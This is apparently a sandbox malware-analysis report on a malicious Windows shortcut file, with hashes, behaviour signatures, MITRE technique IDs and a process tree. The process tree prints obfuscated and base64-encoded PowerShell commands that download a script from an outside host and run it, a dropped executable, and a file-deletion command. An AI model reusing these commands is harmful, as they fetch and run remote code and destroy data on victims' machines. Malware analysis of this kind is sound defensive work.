5fb0518c2ced3e2556da039dae3cfe846cbf667ef2556c6d75b1487da75ef15f

Analysis

max time kernel
145s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20240319-en
resource tags

arch:x64arch:x86image:win10v2004-20240319-enlocale:en-usos:windows10-2004-x64system
submitted
20/03/2024, 08:29

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2.2024 Outfit Strests.lnk
Size 3.0MB
Sample240320-kdkkjacf93
SHA256 5fb0518c2ced3e2556da039dae3cfe846cbf667ef2556c6d75b1487da75ef15f
MD5 479b235adaa09fb5be9abb618ef56856
SHA1 5b0c8b05c486ec66f6a53a625fcb31c1dc946fe7
SHA512 45c761b88ea3e74aa13b578e89278bd6dddcff0f4a5d41ceea313a573525a59206c0078023a4ef492f2e0df2aba000ed1e700b8808a10161756899322d354d16
SSDEEP 24:8wcxh4yCI4Xyl7+RIZJ2le8f75SRIZJpovgdJBxFsySP4I0Qc5jefJ4I0:8TxR4m7L8fvtuIISdlI
MD5 SHA1 SHA512 SSDEEP

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
10	768	powershell.exe
21	3268	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-817259280-2658881748-983986378-1000\Control Panel\International\Geo\Nation	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
3692	svczHost.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
768	powershell.exe
768	powershell.exe
768	powershell.exe
2856	powershell.exe
2856	powershell.exe
2856	powershell.exe
3268	powershell.exe
3268	powershell.exe
3268	powershell.exe
3692	svczHost.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	768	powershell.exe
Token: SeDebugPrivilege	2856	powershell.exe
Token: SeDebugPrivilege	3268	powershell.exe
Token: SeIncreaseQuotaPrivilege	3268	powershell.exe
Token: SeSecurityPrivilege	3268	powershell.exe
Token: SeTakeOwnershipPrivilege	3268	powershell.exe
Token: SeLoadDriverPrivilege	3268	powershell.exe
Token: SeSystemProfilePrivilege	3268	powershell.exe
Token: SeSystemtimePrivilege	3268	powershell.exe
Token: SeProfSingleProcessPrivilege	3268	powershell.exe
Token: SeIncBasePriorityPrivilege	3268	powershell.exe
Token: SeCreatePagefilePrivilege	3268	powershell.exe
Token: SeBackupPrivilege	3268	powershell.exe
Token: SeRestorePrivilege	3268	powershell.exe
Token: SeShutdownPrivilege	3268	powershell.exe
Token: SeDebugPrivilege	3268	powershell.exe
Token: SeSystemEnvironmentPrivilege	3268	powershell.exe
Token: SeRemoteShutdownPrivilege	3268	powershell.exe
Token: SeUndockPrivilege	3268	powershell.exe
Token: SeManageVolumePrivilege	3268	powershell.exe
Token: 33	3268	powershell.exe
Token: 34	3268	powershell.exe
Token: 35	3268	powershell.exe
Token: 36	3268	powershell.exe
Token: SeIncreaseQuotaPrivilege	3268	powershell.exe
Token: SeSecurityPrivilege	3268	powershell.exe
Token: SeTakeOwnershipPrivilege	3268	powershell.exe
Token: SeLoadDriverPrivilege	3268	powershell.exe
Token: SeSystemProfilePrivilege	3268	powershell.exe
Token: SeSystemtimePrivilege	3268	powershell.exe
Token: SeProfSingleProcessPrivilege	3268	powershell.exe
Token: SeIncBasePriorityPrivilege	3268	powershell.exe
Token: SeCreatePagefilePrivilege	3268	powershell.exe
Token: SeBackupPrivilege	3268	powershell.exe
Token: SeRestorePrivilege	3268	powershell.exe
Token: SeShutdownPrivilege	3268	powershell.exe
Token: SeDebugPrivilege	3268	powershell.exe
Token: SeSystemEnvironmentPrivilege	3268	powershell.exe
Token: SeRemoteShutdownPrivilege	3268	powershell.exe
Token: SeUndockPrivilege	3268	powershell.exe
Token: SeManageVolumePrivilege	3268	powershell.exe
Token: 33	3268	powershell.exe
Token: 34	3268	powershell.exe
Token: 35	3268	powershell.exe
Token: 36	3268	powershell.exe
Token: SeIncreaseQuotaPrivilege	3268	powershell.exe
Token: SeSecurityPrivilege	3268	powershell.exe
Token: SeTakeOwnershipPrivilege	3268	powershell.exe
Token: SeLoadDriverPrivilege	3268	powershell.exe
Token: SeSystemProfilePrivilege	3268	powershell.exe
Token: SeSystemtimePrivilege	3268	powershell.exe
Token: SeProfSingleProcessPrivilege	3268	powershell.exe
Token: SeIncBasePriorityPrivilege	3268	powershell.exe
Token: SeCreatePagefilePrivilege	3268	powershell.exe
Token: SeBackupPrivilege	3268	powershell.exe
Token: SeRestorePrivilege	3268	powershell.exe
Token: SeShutdownPrivilege	3268	powershell.exe
Token: SeDebugPrivilege	3268	powershell.exe
Token: SeSystemEnvironmentPrivilege	3268	powershell.exe
Token: SeRemoteShutdownPrivilege	3268	powershell.exe
Token: SeUndockPrivilege	3268	powershell.exe
Token: SeManageVolumePrivilege	3268	powershell.exe
Token: 33	3268	powershell.exe
Token: 34	3268	powershell.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 3256 wrote to memory of 5020	3256	cmd.exe	94
PID 3256 wrote to memory of 5020	3256	cmd.exe	94
PID 5020 wrote to memory of 768	5020	cmd.exe	95
PID 5020 wrote to memory of 768	5020	cmd.exe	95
PID 768 wrote to memory of 2856	768	powershell.exe	100
PID 768 wrote to memory of 2856	768	powershell.exe	100
PID 768 wrote to memory of 1588	768	powershell.exe	102
PID 768 wrote to memory of 1588	768	powershell.exe	102
PID 1588 wrote to memory of 3268	1588	cmd.exe	104
PID 1588 wrote to memory of 3268	1588	cmd.exe	104
PID 3692 wrote to memory of 4120	3692	svczHost.exe	110
PID 3692 wrote to memory of 4120	3692	svczHost.exe	110

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\2.2024 Outfit Strests.lnk"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3256
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /c start /min "" p^o^w^ershell.ex^e -W^i^n^d^owSt^yle h^id^de^n -No^Lo^go -N^o^Pro^f^i^l^e -Exec^ut^i^o^nP^oli^c^y by^p^ass -C^omm^a^n^d "$qcljngg=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('JGNvbnRlbnQgPSBJbnZva2UtV2ViUmVxdWVzdCAtVXJpICdodHRwOi8vZml4dGVzdDEyMy51ay9hcGk='));$htweub=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('L2ZpbGVkYXRhL3BzLzA4ZjJhOWRkMmY1NDY0ODNiMzFhNzY0MTA4ODM4YWFhJyAtVXNlQmFzaWNQYXJzaW5nO0ludm9rZS1FeHByZXNzaW9uICRjb250ZW50LmNvbnRlbnQ7'));Invoke-Expression ($qcljngg + $htweub)"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5020
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -Command "$qcljngg=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('JGNvbnRlbnQgPSBJbnZva2UtV2ViUmVxdWVzdCAtVXJpICdodHRwOi8vZml4dGVzdDEyMy51ay9hcGk='));$htweub=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('L2ZpbGVkYXRhL3BzLzA4ZjJhOWRkMmY1NDY0ODNiMzFhNzY0MTA4ODM4YWFhJyAtVXNlQmFzaWNQYXJzaW5nO0ludm9rZS1FeHByZXNzaW9uICRjb250ZW50LmNvbnRlbnQ7'));Invoke-Expression ($qcljngg + $htweub)"
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:768
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2856
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c start /min "" powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JABqAGMAYgBnAGcAaQBlAGYAcQA9AFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAZABIAEEANgBMAHkAOQBtAGEAWABoADAAWgBYAE4AMABNAFQASQB6AEwAbgBWAHIATAAyAEYAdwBhAFMAOQBtAGEAVwB4AGwAWgBHAEYAMABZAFMAOQB3AGMAeQA4AHoAWgBUAGQAaQBZAFQATgBpAE0AVABsAGwATgB6AEEAMABOAEcAUgBtAE4AVABkAGsAWgBXAEkAMQBZAGoAWQAxAE0ARABrAHgATgB6AFEANQBOAGcAPQA9ACIAKQApADsACgAkAGoAcwBuAGcAeAA9AFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFEAPQAiACkAKQA7AAoAJAB1AHIAaQAgAD0AIAAoACQAagBzAG4AZwB4ACAAKwAgACQAagBjAGIAZwBnAGkAZQBmAHEAKQA7AAoAJABjAG8AdQBuAHQAIAA9ACAAMQAwADsACgB3AGgAaQBsAGUAKAAkAGMAbwB1AG4AdAAgAC0AZwB0ACAAMAApAAoAewAKAAkACgAJAHQAcgB5AHsACgAJAAkAJABjAG8AbgB0AGUAbgB0ACAAPQAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwA7AAoACQAJAEkAbgB2AG8AawBlAC0ARQB4AHAAcgBlAHMAcwBpAG8AbgAgACQAYwBvAG4AdABlAG4AdAAuAGMAbwBuAHQAZQBuAHQAOwAKAAkACQBiAHIAZQBhAGsAOwAKAAkAfQAKAAkAYwBhAHQAYwBoAAoACQB7AAoACQAJAFcAcgBpAHQAZQAtAEgAbwBzAHQAIAAkAF8ALgBFAHgAYwBlAHAAdABpAG8AbgAuAE0AZQBzAHMAYQBnAGUACgAJAAkAJABjAG8AdQBuAHQAIAAtAD0AIAAxADsACgAJAAkAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBzACAAMQA1ADsACgAJAH0ACgB9AAoA
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1588
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JABqAGMAYgBnAGcAaQBlAGYAcQA9AFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAZABIAEEANgBMAHkAOQBtAGEAWABoADAAWgBYAE4AMABNAFQASQB6AEwAbgBWAHIATAAyAEYAdwBhAFMAOQBtAGEAVwB4AGwAWgBHAEYAMABZAFMAOQB3AGMAeQA4AHoAWgBUAGQAaQBZAFQATgBpAE0AVABsAGwATgB6AEEAMABOAEcAUgBtAE4AVABkAGsAWgBXAEkAMQBZAGoAWQAxAE0ARABrAHgATgB6AFEANQBOAGcAPQA9ACIAKQApADsACgAkAGoAcwBuAGcAeAA9AFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFEAPQAiACkAKQA7AAoAJAB1AHIAaQAgAD0AIAAoACQAagBzAG4AZwB4ACAAKwAgACQAagBjAGIAZwBnAGkAZQBmAHEAKQA7AAoAJABjAG8AdQBuAHQAIAA9ACAAMQAwADsACgB3AGgAaQBsAGUAKAAkAGMAbwB1AG4AdAAgAC0AZwB0ACAAMAApAAoAewAKAAkACgAJAHQAcgB5AHsACgAJAAkAJABjAG8AbgB0AGUAbgB0ACAAPQAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwA7AAoACQAJAEkAbgB2AG8AawBlAC0ARQB4AHAAcgBlAHMAcwBpAG8AbgAgACQAYwBvAG4AdABlAG4AdAAuAGMAbwBuAHQAZQBuAHQAOwAKAAkACQBiAHIAZQBhAGsAOwAKAAkAfQAKAAkAYwBhAHQAYwBoAAoACQB7AAoACQAJAFcAcgBpAHQAZQAtAEgAbwBzAHQAIAAkAF8ALgBFAHgAYwBlAHAAdABpAG8AbgAuAE0AZQBzAHMAYQBnAGUACgAJAAkAJABjAG8AdQBuAHQAIAAtAD0AIAAxADsACgAJAAkAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBzACAAMQA1ADsACgAJAH0ACgB9AAoA
        5⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3268

C:\Windows\Temp\svczHost.exe
C:\Windows\Temp\svczHost.exe khiem3 fixtest123.uk
1⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3692
- C:\Windows\system32\cmd.exe
  "cmd.exe" /c del /q "C:\Windows \System32\*" & rmdir "C:\Windows \System32" & rmdir "C:\Windows \"
  2⤵
  PID:4120

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=3760 --field-trial-handle=2264,i,1475924722205134884,16549311107360026087,262144 --variations-seed-version /prefetch:8
1⤵
PID:32

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 f255360548176cddb8a1d0b6862819c043899603e9660731d7a266a2ae0c5dfb
MD5 2c97eb133c698998c83a90b28ba145f0
SHA1 c7759a0d295ec00fe4de6f3b70a73392379cd992
SHA512 db907714ca116094aa9bc5f57eb1d3e4f6ba5c0682dc658e0c90d2be81fa08443b92b97aa186d3aabcdc7f269d86d89d6091eb0bc38233f2c37e82c737e135e8
MD5 SHA1 SHA512

Submit Download

__PSScriptPolicyTest_iylfscn5.5li.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_iylfscn5.5li.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

590aee7bdd69b59b.customDestinations-ms

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Size 6KB
SHA256 1ccc427bd1da3faa7a4e7686eb0dc049c120713133269aa1d042a18551a0370c
MD5 8fd4fdf3f2561923b2c884a33f67a318
SHA1 88f7a94bd7429ff9e65d1d4f41843244f893a77f
SHA512 a64a7e5db4989a44dd1d50447607218372e3ea9e76489ddca13c2e3739a0ab157694d16dd8e53f99c167a190be56c3f7ae5ec6b6a20e2d38ee31cd718c85d3e0
SSDEEP 96:rlfALhLnFCvpQa6FukvhkvCCtCRsnSdsN6QHmJqxsnSdsN6QHmJmG:hfALhzepscCSnasw+ynaswCG
MD5 SHA1 SHA512 SSDEEP

Submit Download

590aee7bdd69b59b.customDestinations-ms

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Size 6KB
SHA256 00351ceee807c7d1ecd0e82a23581b1f0b68abb666efc1f8798fc807ba3d9a2d
MD5 2f04764ef43dd471d76d2eea3064c499
SHA1 16a7fde27e61853fd01fac8570b9f83eec22cc56
SHA512 a9b64fce50dfc99b01e29721097d94093d7f3f5aaf6bcbb226b30bbee2167f0d1b057c2e638cfcee0e62a7e00a67e4e1145c264db2a400e3f0a71337c07ac099
SSDEEP 96:94ShcCmDa6FukvhkvCCtCRsnSdsN6QHmJqxsnSdsN6QHmJmG:94ShSJcCSnasw+ynaswCG
MD5 SHA1 SHA512 SSDEEP

Submit Download

svczHost.exe

Path C:\Windows\Temp\svczHost.exe
Size 1.1MB
SHA256 5e5ce0586a650c9eb61ad962b826f0f945423c22fd0fc95913b181fd03eeb2d1
MD5 0f532133048edc13a91c9c05374d008b
SHA1 b6a3faf1534d09792950971c02494d9720ad7e05
SHA512 ac61d99f980b8ea43911823f92d0e0e77b46a4a84310f01f04f22445afb540738a2bb9e754858ac4e0a427acc7d2bc2dc91c5d570d70dc86a2927c4b91a8fe2a
SSDEEP 12288:i1kwQ3yzMaz9JMHmMq/hESVuOtDUhWaAeSvUCeViDnOl+DNTZ9Fk5U+QyhirXRI1:8cizMaz9Svm3c8siDOl+DN1vk5U6UIvt
MD5 SHA1 SHA512 SSDEEP

Submit Download

svczHost.exe

Path C:\Windows\Temp\svczHost.exe
Size 10.3MB
SHA256 6984cf4fce9732a3369b627d5eb89c5303add15679fdccb0fb11c6ea48c3bc80
MD5 2d9d6924fcdb44d6de3798bbd27c9d26
SHA1 a80ebc25daefad8d7257a0481f533d221b6af998
SHA512 e900334832630b1eb5ccc822d90db898844d2fe1cc46b07ceb248a04339dd17386fe404d7cc28f9e07604c9cf7f0cda455d64ceeb3685297a965d7d50c4c4550
SSDEEP 98304:Oo/tNl5lp+RTTpqenc5ZYlPI3bWBmn3P4MOG0MWr4K:PlNl5L+RTtqenc5ZePI3bWE+G0b
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/768-18-0x000002875CDE0000-0x000002875CFEA000-memory.dmp

Download

memory/768-15-0x000002875BA00000-0x000002875BA10000-memory.dmp

Download

memory/768-34-0x00007FFAC0150000-0x00007FFAC0C11000-memory.dmp

Download

memory/768-17-0x000002875CA50000-0x000002875CBC6000-memory.dmp

Download

memory/768-16-0x000002875BA00000-0x000002875BA10000-memory.dmp

Download

memory/768-13-0x000002875B940000-0x000002875B962000-memory.dmp

Download

memory/768-14-0x00007FFAC0150000-0x00007FFAC0C11000-memory.dmp

Download

memory/2856-29-0x000002381D040000-0x000002381D050000-memory.dmp

Download

memory/2856-30-0x000002381D040000-0x000002381D050000-memory.dmp

Download

memory/2856-31-0x000002381D040000-0x000002381D050000-memory.dmp

Download

memory/2856-33-0x00007FFAC0150000-0x00007FFAC0C11000-memory.dmp

Download

memory/2856-28-0x00007FFAC0150000-0x00007FFAC0C11000-memory.dmp

Download

memory/3268-50-0x00007FFAC0170000-0x00007FFAC0C31000-memory.dmp

Download

memory/3268-55-0x000002A6D6790000-0x000002A6D67A0000-memory.dmp

Download

memory/3268-56-0x00007FFAC0170000-0x00007FFAC0C31000-memory.dmp

Download

memory/3268-58-0x00007FFAC0170000-0x00007FFAC0C31000-memory.dmp

Download

memory/3268-52-0x000002A6D6790000-0x000002A6D67A0000-memory.dmp

Download

memory/3268-51-0x000002A6D6790000-0x000002A6D67A0000-memory.dmp

Download